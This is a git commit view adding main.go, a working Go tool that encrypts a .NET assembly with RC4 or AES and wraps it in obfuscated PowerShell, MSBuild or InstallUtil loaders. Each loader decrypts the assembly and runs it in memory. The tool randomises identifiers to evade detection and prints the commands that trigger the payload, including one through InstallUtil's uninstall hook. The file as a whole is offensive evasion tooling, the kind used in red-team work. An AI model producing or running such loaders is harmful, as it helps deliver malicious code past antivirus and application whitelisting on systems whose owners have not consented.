aboutsummaryrefslogtreecommitdiff
path: root/main.go
diff options
context:
space:
mode:
Diffstat (limited to 'main.go')
-rw-r--r--main.go660
1 files changed, 660 insertions, 0 deletions
diff --git a/main.go b/main.go
new file mode 100644
index 0000000..f437f8a
--- /dev/null
+++ b/main.go
@@ -0,0 +1,660 @@
+package main
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ cryptoRand "crypto/rand"
+ "encoding/base64"
+ "flag"
+ "fmt"
+ "io/ioutil"
+ mathRand "math/rand"
+ "os"
+ "path/filepath"
+ "regexp"
+ "strings"
+ "time"
+)
+
+const keySpace = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
+const keySpaceForKeys = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
+
+func rc4(key, data []byte) []byte {
+ s := make([]int, 256)
+ for i := 0; i < 256; i++ {
+ s[i] = i
+ }
+ j := 0
+ for i := 0; i < 256; i++ {
+ j = (j + s[i] + int(key[i%len(key)])) % 256
+ s[i], s[j] = s[j], s[i]
+ }
+
+ encrypted := make([]byte, len(data))
+ i, j := 0, 0
+ for k := 0; k < len(data); k++ {
+ i = (i + 1) % 256
+ j = (j + s[i]) % 256
+ s[i], s[j] = s[j], s[i]
+ t := (s[i] + s[j]) % 256
+ encrypted[k] = data[k] ^ byte(s[t])
+ }
+ return encrypted
+}
+
+func aesEncrypt(key, data []byte) ([]byte, []byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, nil, fmt.Errorf("[err] failed to create AES cipher: %v", err)
+ }
+
+ iv := make([]byte, aes.BlockSize)
+ if _, err := cryptoRand.Read(iv); err != nil {
+ return nil, nil, fmt.Errorf("[err] failed to generate IV: %v", err)
+ }
+
+ paddedData := padData(data, aes.BlockSize)
+ ciphertext := make([]byte, len(paddedData))
+
+ mode := cipher.NewCBCEncrypter(block, iv)
+ mode.CryptBlocks(ciphertext, paddedData)
+
+ return ciphertext, iv, nil
+}
+
+func padData(data []byte, blockSize int) []byte {
+ padding := blockSize - len(data)%blockSize
+ padText := make([]byte, len(data)+padding)
+ copy(padText, data)
+ for i := len(data); i < len(padText); i++ {
+ padText[i] = byte(padding)
+ }
+ return padText
+}
+
+func encryptData(encryptionType string, key []byte, data []byte) (ciphertext []byte, iv []byte, err error) {
+ if encryptionType == "rc4" {
+ ciphertext = rc4(key, data)
+ return ciphertext, nil, nil
+ } else if encryptionType == "aes" {
+ ciphertext, iv, err = aesEncrypt(key, data)
+ if err != nil {
+ return nil, nil, err
+ }
+ return ciphertext, iv, nil
+ }
+ return nil, nil, fmt.Errorf("[err] unsupported encryption type: %s", encryptionType)
+}
+
+func generatePassword(length int) string {
+ b := make([]byte, length)
+ for i := range b {
+ b[i] = keySpaceForKeys[mathRand.Intn(len(keySpaceForKeys))]
+ }
+ return string(b)
+}
+
+func obfuscate(s string, length int) (string, error) {
+ if length <= 0 {
+ return "", fmt.Errorf("[err] length must be a positive integer")
+ }
+
+ placeholderValues := make(map[string]string)
+ re := regexp.MustCompile(`<%=obf (.*?) %>`)
+
+ result := re.ReplaceAllStringFunc(s, func(match string) string {
+ placeholder := re.FindStringSubmatch(match)[1]
+ if val, exists := placeholderValues[placeholder]; exists {
+ return val
+ }
+
+ var randomString strings.Builder
+ for i := 0; i < length; i++ {
+ randomString.WriteByte(keySpace[mathRand.Intn(len(keySpace))])
+ }
+ placeholderValues[placeholder] = randomString.String()
+ return placeholderValues[placeholder]
+ })
+
+ return result, nil
+}
+
+func generatePowerShellLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error {
+ data, err := ioutil.ReadFile(filePath)
+ if err != nil {
+ return fmt.Errorf("[err] failed to read file: %v", err)
+ }
+
+ key := []byte(generatePassword(keyLength))
+ ciphertext, iv, err := encryptData(encryptionType, key, data)
+ if err != nil {
+ return fmt.Errorf("[err] encryption failed: %v", err)
+ }
+
+ b64 := base64.StdEncoding.EncodeToString(ciphertext)
+ b64IV := ""
+ if encryptionType == "aes" {
+ b64IV = base64.StdEncoding.EncodeToString(iv)
+ }
+
+ baseName := filepath.Base(filePath)
+ assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe"
+ outputFile := fmt.Sprintf("%s_reflective.ps1", assemblyName)
+
+ template := ""
+ if encryptionType == "rc4" {
+ template = `
+function <%=obf RC4Decrypt %> {
+ param (
+ [byte[]]$<%=obf data %>,
+ [byte[]]$<%=obf key %>
+ )
+ $<%=obf S %> = 0..255
+ $<%=obf j %> = 0
+ for ($<%=obf i %> = 0; $<%=obf i %> -lt 256; $<%=obf i %>++) {
+ $<%=obf j %> = ($<%=obf j %> + $<%=obf S %>[$<%=obf i %>] + $<%=obf key %>[$<%=obf i %> % $<%=obf key %>.Length]) % 256
+ $<%=obf S %>[$<%=obf i %>], $<%=obf S %>[$<%=obf j %>] = $<%=obf S %>[$<%=obf j %>], $<%=obf S %>[$<%=obf i %>]
+ }
+ $<%=obf output %> = New-Object byte[] $<%=obf data %>.Length
+ $<%=obf i %> = 0
+ $<%=obf j %> = 0
+ for ($<%=obf k %> = 0; $<%=obf k %> -lt $<%=obf data %>.Length; $<%=obf k %>++) {
+ $<%=obf i %> = ($<%=obf i %> + 1) % 256
+ $<%=obf j %> = ($<%=obf j %> + $<%=obf S %>[$<%=obf i %>]) % 256
+ $<%=obf S %>[$<%=obf i %>], $<%=obf S %>[$<%=obf j %>] = $<%=obf S %>[$<%=obf j %>], $<%=obf S %>[$<%=obf i %>]
+ $<%=obf t %> = ($<%=obf S %>[$<%=obf i %>] + $<%=obf S %>[$<%=obf j %>]) % 256
+ $<%=obf output %>[$<%=obf k %>] = $<%=obf data %>[$<%=obf k %>] -bxor $<%=obf S %>[$<%=obf t %>]
+ }
+ return $<%=obf output %>
+}
+
+$<%=obf key %> = [System.Text.Encoding]::UTF8.GetBytes("{key}")
+$<%=obf bytes %> = [Convert]::FromBase64String("{b64}")
+[byte[]]$<%=obf decrypted %> = <%=obf RC4Decrypt %> -<%=obf data %> $<%=obf bytes %> -<%=obf key %> $<%=obf key %>
+[Reflection.Assembly]::Load($<%=obf decrypted %>)
+`
+ } else {
+ template = `
+function <%=obf AESDecrypt %> {
+ param($<%=obf aesKey %>, $<%=obf aesIv %>, $<%=obf encryptedAssembly %>)
+ $<%=obf iv %> = [Convert]::FromBase64String($<%=obf aesIv %>)
+ $<%=obf encryptedBytes %> = [Convert]::FromBase64String($<%=obf encryptedAssembly %>)
+ $<%=obf aes %> = New-Object Security.Cryptography.AesCryptoServiceProvider
+ $<%=obf aes %>.KeySize = 256
+ $<%=obf aes %>.BlockSize = 128
+ $<%=obf aes %>.Mode = [Security.Cryptography.CipherMode]::CBC
+ $<%=obf aes %>.Padding = [Security.Cryptography.PaddingMode]::PKCS7
+ $<%=obf aes %>.Key = [System.Text.Encoding]::UTF8.GetBytes($<%=obf aesKey %>)
+ $<%=obf aes %>.IV = $<%=obf iv %>
+ $<%=obf ms %> = New-Object System.IO.MemoryStream $<%=obf encryptedBytes %>, 0, $<%=obf encryptedBytes %>.Length
+ $<%=obf cs %> = New-Object Security.Cryptography.CryptoStream $<%=obf ms %>, $<%=obf aes %>.CreateDecryptor(), 0
+ $<%=obf cs %>.Read($<%=obf encryptedBytes %>, 0, $<%=obf encryptedBytes %>.Length) | Out-Null
+ return $<%=obf encryptedBytes %>
+}
+
+$<%=obf key %> = "{key}"
+$<%=obf iv %> = "{b64IV}"
+$<%=obf encryptedAssembly %> = "{b64}"
+
+[byte[]]$<%=obf decryptedBytes %> = <%=obf AESDecrypt %> -<%=obf aesKey %> $<%=obf key %> -<%=obf aesIv %> $<%=obf iv %> -<%=obf encryptedAssembly %> $<%=obf encryptedAssembly %>
+[Reflection.Assembly]::Load($<%=obf decryptedBytes %>)
+`
+ }
+
+ template = strings.ReplaceAll(template, "{key}", string(key))
+ template = strings.ReplaceAll(template, "{b64}", b64)
+ if encryptionType == "aes" {
+ template = strings.ReplaceAll(template, "{b64IV}", b64IV)
+ }
+
+ obfuscated, err := obfuscate(template, obfuscationLength)
+ if err != nil {
+ return fmt.Errorf("[err] obfuscation failed: %v", err)
+ }
+
+ err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
+ if err != nil {
+ return fmt.Errorf("[err] failed to write output file: %v", err)
+ }
+
+ fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
+ fmt.Println("[inf] call assembly method with [<namespace>.<class>]::<method>(\"arg1 arg2\".Split())")
+ return nil
+}
+
+func generateMSBuildLdr(filePath string, obfuscationLength, keyLength int, dotnetArch, encryptionType string) error {
+ data, err := ioutil.ReadFile(filePath)
+ if err != nil {
+ return fmt.Errorf("[err] failed to read file: %v", err)
+ }
+
+ key := []byte(generatePassword(keyLength))
+ ciphertext, iv, err := encryptData(encryptionType, key, data)
+ if err != nil {
+ return fmt.Errorf("[err] encryption failed: %v", err)
+ }
+
+ b64 := base64.StdEncoding.EncodeToString(ciphertext)
+ b64IV := ""
+ if encryptionType == "aes" {
+ b64IV = base64.StdEncoding.EncodeToString(iv)
+ }
+
+ archPath := ""
+ if dotnetArch == "x86" {
+ archPath = ""
+ } else {
+ archPath = "64"
+ }
+
+ binSize := len(ciphertext)
+
+ baseName := filepath.Base(filePath)
+ assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName)) + ".exe"
+ outputFile := fmt.Sprintf("%s_msbuild.csproj", assemblyName)
+
+ template := ""
+ if encryptionType == "rc4" {
+ template = `
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <Target Name="<%=obf GhostBuild %>">
+ <<%=obf GhostBuilder %>/>
+ </Target>
+ <UsingTask TaskName="<%=obf GhostBuilder %>" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework<%=obf arch %>\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll">
+ <ParameterGroup/>
+ <Task>
+ <Code Type="Class" Language="cs">
+ <![CDATA[
+ using System;
+ using System.IO;
+ using System.Reflection;
+ using System.Text;
+ using Microsoft.Build.Framework;
+ using Microsoft.Build.Utilities;
+
+ public class <%=obf GhostBuilder %> : Task, ITask {
+ public static byte[] <%=obf RC4 %>(byte[] <%=obf pwd %>, byte[] <%=obf data %>) {
+ int <%=obf a %>, <%=obf i %>, <%=obf j %>, <%=obf k %>, <%=obf tmp %>;
+ int[] <%=obf key %> = new int[256];
+ int[] <%=obf box %> = new int[256];
+ byte[] <%=obf cipher %> = new byte[<%=obf data %>.Length];
+ for (<%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) {
+ <%=obf key %>[<%=obf i %>] = <%=obf pwd %>[<%=obf i %> % <%=obf pwd %>.Length];
+ <%=obf box %>[<%=obf i %>] = <%=obf i %>;
+ }
+ for (<%=obf j %> = <%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++) {
+ <%=obf j %> = (<%=obf j %> + <%=obf box %>[<%=obf i %>] + <%=obf key %>[<%=obf i %>]) % 256;
+ <%=obf tmp %> = <%=obf box %>[<%=obf i %>];
+ <%=obf box %>[<%=obf i %>] = <%=obf box %>[<%=obf j %>];
+ <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
+ }
+ for (<%=obf a %> = <%=obf j %> = <%=obf i %> = 0; <%=obf i %> < <%=obf data %>.Length; <%=obf i %>++) {
+ <%=obf a %>++;
+ <%=obf a %> %= 256;
+ <%=obf j %> += <%=obf box %>[<%=obf a %>];
+ <%=obf j %> %= 256;
+ <%=obf tmp %> = <%=obf box %>[<%=obf a %>];
+ <%=obf box %>[<%=obf a %>] = <%=obf box %>[<%=obf j %>];
+ <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
+ <%=obf k %> = <%=obf box %>[(<%=obf box %>[<%=obf a %>] + <%=obf box %>[<%=obf j %>]) % 256];
+ <%=obf cipher %>[<%=obf i %>] = (byte)(<%=obf data %>[<%=obf i %>] ^ <%=obf k %>);
+ }
+ return <%=obf cipher %>;
+ }
+
+ public override bool Execute() {
+ string[] <%=obf args %> = new string[] { "" };
+ string <%=obf encodedBin %> = "{b64}";
+ int <%=obf binSize %> = {binSize};
+ string <%=obf key %> = "{key}";
+
+ byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
+ using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) {
+ <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
+ }
+ byte[] <%=obf final %> = <%=obf RC4 %>(Encoding.UTF8.GetBytes(<%=obf key %>), <%=obf bytesBin %>);
+ Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
+ <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
+ return true;
+ }
+ }
+ ]]>
+ </Code>
+ </Task>
+ </UsingTask>
+</Project>
+`
+ } else {
+ template = `
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+ <Target Name="<%=obf GhostBuild %>">
+ <<%=obf GhostBuilder %>/>
+ </Target>
+ <UsingTask TaskName="<%=obf GhostBuilder %>" TaskFactory="CodeTaskFactory" AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework<%=obf arch %>\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll">
+ <ParameterGroup/>
+ <Task>
+ <Code Type="Class" Language="cs">
+ <![CDATA[
+ using System;
+ using System.IO;
+ using System.Reflection;
+ using System.Text;
+ using System.Security.Cryptography;
+ using Microsoft.Build.Framework;
+ using Microsoft.Build.Utilities;
+
+ public class <%=obf GhostBuilder %> : Task, ITask {
+ public static byte[] <%=obf AesDecrypt %>(byte[] <%=obf cipherText %>, byte[] <%=obf key %>, byte[] <%=obf iv %>) {
+ using (Aes <%=obf aesAlg %> = Aes.Create()) {
+ <%=obf aesAlg %>.KeySize = 256;
+ <%=obf aesAlg %>.BlockSize = 128;
+ <%=obf aesAlg %>.Mode = CipherMode.CBC;
+ <%=obf aesAlg %>.Padding = PaddingMode.PKCS7;
+ <%=obf aesAlg %>.Key = <%=obf key %>;
+ <%=obf aesAlg %>.IV = <%=obf iv %>;
+ ICryptoTransform <%=obf decryptor %> = <%=obf aesAlg %>.CreateDecryptor(<%=obf aesAlg %>.Key, <%=obf aesAlg %>.IV);
+ using (MemoryStream <%=obf msDecrypt %> = new MemoryStream()) {
+ using (CryptoStream <%=obf csDecrypt %> = new CryptoStream(<%=obf msDecrypt %>, <%=obf decryptor %>, CryptoStreamMode.Write)) {
+ <%=obf csDecrypt %>.Write(<%=obf cipherText %>, 0, <%=obf cipherText %>.Length);
+ <%=obf csDecrypt %>.FlushFinalBlock();
+ }
+ return <%=obf msDecrypt %>.ToArray();
+ }
+ }
+ }
+
+ public override bool Execute() {
+ string[] <%=obf args %> = new string[] { "" };
+ string <%=obf encodedBin %> = "{b64}";
+ int <%=obf binSize %> = {binSize};
+ byte[] <%=obf key %> = Encoding.UTF8.GetBytes("{key}");
+ byte[] <%=obf iv %> = Convert.FromBase64String("{b64IV}");
+ byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
+ using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>))) {
+ <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
+ }
+ byte[] <%=obf final %> = <%=obf AesDecrypt %>(<%=obf bytesBin %>, <%=obf key %>, <%=obf iv %>);
+ Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
+ <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
+ return true;
+ }
+ }
+ ]]>
+ </Code>
+ </Task>
+ </UsingTask>
+</Project>
+`
+ }
+
+ template = strings.ReplaceAll(template, "{key}", string(key))
+ template = strings.ReplaceAll(template, "{b64}", b64)
+ template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize))
+ template = strings.ReplaceAll(template, "<%=obf arch %>", archPath)
+ if encryptionType == "aes" {
+ template = strings.ReplaceAll(template, "{b64IV}", b64IV)
+ }
+
+ obfuscated, err := obfuscate(template, obfuscationLength)
+ if err != nil {
+ return fmt.Errorf("[err] obfuscation failed: %v", err)
+ }
+
+ err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
+ if err != nil {
+ return fmt.Errorf("[err] failed to write output file: %v", err)
+ }
+
+ fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
+ fmt.Println("[inf] change \"string[] <var> = new string[] { \"\" };\" to add arguments")
+ return nil
+}
+
+func generateInstallUtilLdr(filePath string, obfuscationLength, keyLength int, encryptionType string) error {
+ data, err := ioutil.ReadFile(filePath)
+ if err != nil {
+ return fmt.Errorf("[err] failed to read file: %v", err)
+ }
+
+ key := []byte(generatePassword(keyLength))
+ ciphertext, iv, err := encryptData(encryptionType, key, data)
+ if err != nil {
+ return fmt.Errorf("[err] encryption failed: %v", err)
+ }
+
+ b64 := base64.StdEncoding.EncodeToString(ciphertext)
+ b64IV := ""
+ if encryptionType == "aes" {
+ b64IV = base64.StdEncoding.EncodeToString(iv)
+ }
+
+ binSize := len(ciphertext)
+
+ baseName := filepath.Base(filePath)
+ assemblyName := strings.TrimSuffix(baseName, filepath.Ext(baseName))
+ outputFile := fmt.Sprintf("%s.cs", assemblyName)
+
+ template := ""
+ if encryptionType == "rc4" {
+ template = `
+using System;
+using System.IO;
+using System.Text;
+using System.Reflection;
+using System.Configuration.Install;
+
+namespace <%=obf Namespace %>
+{
+ public class <%=obf Program %>
+ {
+ public static void Main(string[] args)
+ {}
+ }
+
+ [System.ComponentModel.RunInstaller(true)]
+ public class <%=obf Installer %> : Installer
+ {
+ public static byte[] <%=obf RC4 %>(byte[] <%=obf pwd %>, byte[] <%=obf data %>)
+ {
+ int <%=obf a %>, <%=obf i %>, <%=obf j %>, <%=obf k %>, <%=obf tmp %>;
+ int[] <%=obf key %> = new int[256];
+ int[] <%=obf box %> = new int[256];
+ byte[] <%=obf cipher %> = new byte[<%=obf data %>.Length];
+ for (<%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++)
+ {
+ <%=obf key %>[<%=obf i %>] = <%=obf pwd %>[<%=obf i %> % <%=obf pwd %>.Length];
+ <%=obf box %>[<%=obf i %>] = <%=obf i %>;
+ }
+ for (<%=obf j %> = <%=obf i %> = 0; <%=obf i %> < 256; <%=obf i %>++)
+ {
+ <%=obf j %> = (<%=obf j %> + <%=obf box %>[<%=obf i %>] + <%=obf key %>[<%=obf i %>]) % 256;
+ <%=obf tmp %> = <%=obf box %>[<%=obf i %>];
+ <%=obf box %>[<%=obf i %>] = <%=obf box %>[<%=obf j %>];
+ <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
+ }
+ for (<%=obf a %> = <%=obf j %> = <%=obf i %> = 0; <%=obf i %> < <%=obf data %>.Length; <%=obf i %>++)
+ {
+ <%=obf a %>++;
+ <%=obf a %> %= 256;
+ <%=obf j %> += <%=obf box %>[<%=obf a %>];
+ <%=obf j %> %= 256;
+ <%=obf tmp %> = <%=obf box %>[<%=obf a %>];
+ <%=obf box %>[<%=obf a %>] = <%=obf box %>[<%=obf j %>];
+ <%=obf box %>[<%=obf j %>] = <%=obf tmp %>;
+ <%=obf k %> = <%=obf box %>[(<%=obf box %>[<%=obf a %>] + <%=obf box %>[<%=obf j %>]) % 256];
+ <%=obf cipher %>[<%=obf i %>] = (byte)(<%=obf data %>[<%=obf i %>] ^ <%=obf k %>);
+ }
+ return <%=obf cipher %>;
+ }
+
+ public override void Uninstall(System.Collections.IDictionary savedState)
+ {
+ try
+ {
+ string[] <%=obf args %> = new string[] { "" };
+ string <%=obf encodedBin %> = "{b64}";
+ int <%=obf binSize %> = {binSize};
+ string <%=obf key %> = "{key}";
+
+ byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
+ using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>)))
+ {
+ <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
+ }
+ byte[] <%=obf final %> = <%=obf RC4 %>(Encoding.UTF8.GetBytes(<%=obf key %>), <%=obf bytesBin %>);
+ Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
+ <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
+ }
+ catch (Exception) {}
+ base.Uninstall(savedState);
+ }
+ }
+}
+`
+ } else {
+ template = `
+using System;
+using System.IO;
+using System.Text;
+using System.Reflection;
+using System.Configuration.Install;
+using System.Security.Cryptography;
+
+namespace <%=obf Namespace %>
+{
+ public class <%=obf Program %>
+ {
+ public static void Main(string[] args)
+ {}
+ }
+
+ [System.ComponentModel.RunInstaller(true)]
+ public class <%=obf Installer %> : Installer
+ {
+ public static byte[] <%=obf AesDecrypt %>(byte[] <%=obf cipherText %>, byte[] <%=obf key %>, byte[] <%=obf iv %>)
+ {
+ using (Aes <%=obf aesAlg %> = Aes.Create())
+ {
+ <%=obf aesAlg %>.KeySize = 256;
+ <%=obf aesAlg %>.BlockSize = 128;
+ <%=obf aesAlg %>.Mode = CipherMode.CBC;
+ <%=obf aesAlg %>.Padding = PaddingMode.PKCS7;
+ <%=obf aesAlg %>.Key = <%=obf key %>;
+ <%=obf aesAlg %>.IV = <%=obf iv %>;
+ ICryptoTransform <%=obf decryptor %> = <%=obf aesAlg %>.CreateDecryptor(<%=obf aesAlg %>.Key, <%=obf aesAlg %>.IV);
+ using (MemoryStream <%=obf msDecrypt %> = new MemoryStream())
+ {
+ using (CryptoStream <%=obf csDecrypt %> = new CryptoStream(<%=obf msDecrypt %>, <%=obf decryptor %>, CryptoStreamMode.Write))
+ {
+ <%=obf csDecrypt %>.Write(<%=obf cipherText %>, 0, <%=obf cipherText %>.Length);
+ <%=obf csDecrypt %>.FlushFinalBlock();
+ }
+ return <%=obf msDecrypt %>.ToArray();
+ }
+ }
+ }
+
+ public override void Uninstall(System.Collections.IDictionary savedState)
+ {
+ try
+ {
+ string[] <%=obf args %> = new string[] { "" };
+ string <%=obf encodedBin %> = "{b64}";
+ int <%=obf binSize %> = {binSize};
+ byte[] <%=obf key %> = Encoding.UTF8.GetBytes("{key}");
+ byte[] <%=obf iv %> = Convert.FromBase64String("{b64IV}");
+ byte[] <%=obf bytesBin %> = new byte[<%=obf binSize %>];
+ using (MemoryStream <%=obf inputStream %> = new MemoryStream(Convert.FromBase64String(<%=obf encodedBin %>)))
+ {
+ <%=obf inputStream %>.Read(<%=obf bytesBin %>, 0, <%=obf binSize %>);
+ }
+ byte[] <%=obf final %> = <%=obf AesDecrypt %>(<%=obf bytesBin %>, <%=obf key %>, <%=obf iv %>);
+ Assembly <%=obf assembly %> = Assembly.Load(<%=obf final %>);
+ <%=obf assembly %>.EntryPoint.Invoke(null, new object[] { <%=obf args %> });
+ }
+ catch (Exception) {}
+ base.Uninstall(savedState);
+ }
+ }
+}
+`
+ }
+
+ template = strings.ReplaceAll(template, "{key}", string(key))
+ template = strings.ReplaceAll(template, "{b64}", b64)
+ template = strings.ReplaceAll(template, "{binSize}", fmt.Sprintf("%d", binSize))
+ if encryptionType == "aes" {
+ template = strings.ReplaceAll(template, "{b64IV}", b64IV)
+ }
+
+ obfuscated, err := obfuscate(template, obfuscationLength)
+ if err != nil {
+ return fmt.Errorf("[err] obfuscation failed: %v", err)
+ }
+
+ err = ioutil.WriteFile(outputFile, []byte(obfuscated), 0644)
+ if err != nil {
+ return fmt.Errorf("[err] failed to write output file: %v", err)
+ }
+
+ fmt.Printf("[inf] created \"%s\" containing \"%s\"\n", outputFile, filePath)
+ fmt.Printf("[inf] compile with: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /platform:x64|x86 /out:%s.exe %s\n", assemblyName, outputFile)
+ fmt.Printf("[inf] uninstall to execute payload: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /U /logfile= /LogToConsole=false %s.exe\n", assemblyName)
+ return nil
+}
+
+func main() {
+ filePath := flag.String("f", "", "input file path")
+ outputType := flag.String("t", "powershell", "loader type: powershell|msbuild|installutil")
+ encryptionType := flag.String("e", "rc4", "encryption type: rc4|aes")
+ obfuscationLength := flag.Int("obf-len", 8, "length of obfuscated strings")
+ keyLength := flag.Int("key-len", 32, "length of encryption key")
+ dotnetArch := flag.String("dotnet-architecture", "x64", ".net architecture for msbuild: x86|x64")
+ flag.Parse()
+
+ if *filePath == "" {
+ fmt.Println("[err] -f/--file is required")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *outputType != "powershell" && *outputType != "msbuild" && *outputType != "installutil" {
+ fmt.Println("[err] -t/--type must be 'powershell', 'msbuild', or 'installutil'")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *encryptionType != "rc4" && *encryptionType != "aes" {
+ fmt.Println("[err] -e/--encryption must be 'rc4' or 'aes'")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *obfuscationLength <= 0 {
+ fmt.Println("[err] -obf-len must be a positive integer")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *keyLength <= 0 || (*encryptionType == "aes" && *keyLength != 32) {
+ fmt.Println("[err] -key-len must be a positive integer, 32 for AES")
+ flag.Usage()
+ os.Exit(1)
+ }
+ if *outputType == "msbuild" && *dotnetArch != "x86" && *dotnetArch != "x64" {
+ fmt.Println("[err] --dotnet-architecture must be 'x86' or 'x64'")
+ flag.Usage()
+ os.Exit(1)
+ }
+
+ mathRand.Seed(time.Now().UnixNano())
+
+ var err error
+ if *outputType == "powershell" {
+ err = generatePowerShellLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType)
+ } else if *outputType == "msbuild" {
+ err = generateMSBuildLdr(*filePath, *obfuscationLength, *keyLength, *dotnetArch, *encryptionType)
+ } else {
+ err = generateInstallUtilLdr(*filePath, *obfuscationLength, *keyLength, *encryptionType)
+ }
+ if err != nil {
+ fmt.Printf("[err] %v\n", err)
+ os.Exit(1)
+ }
+}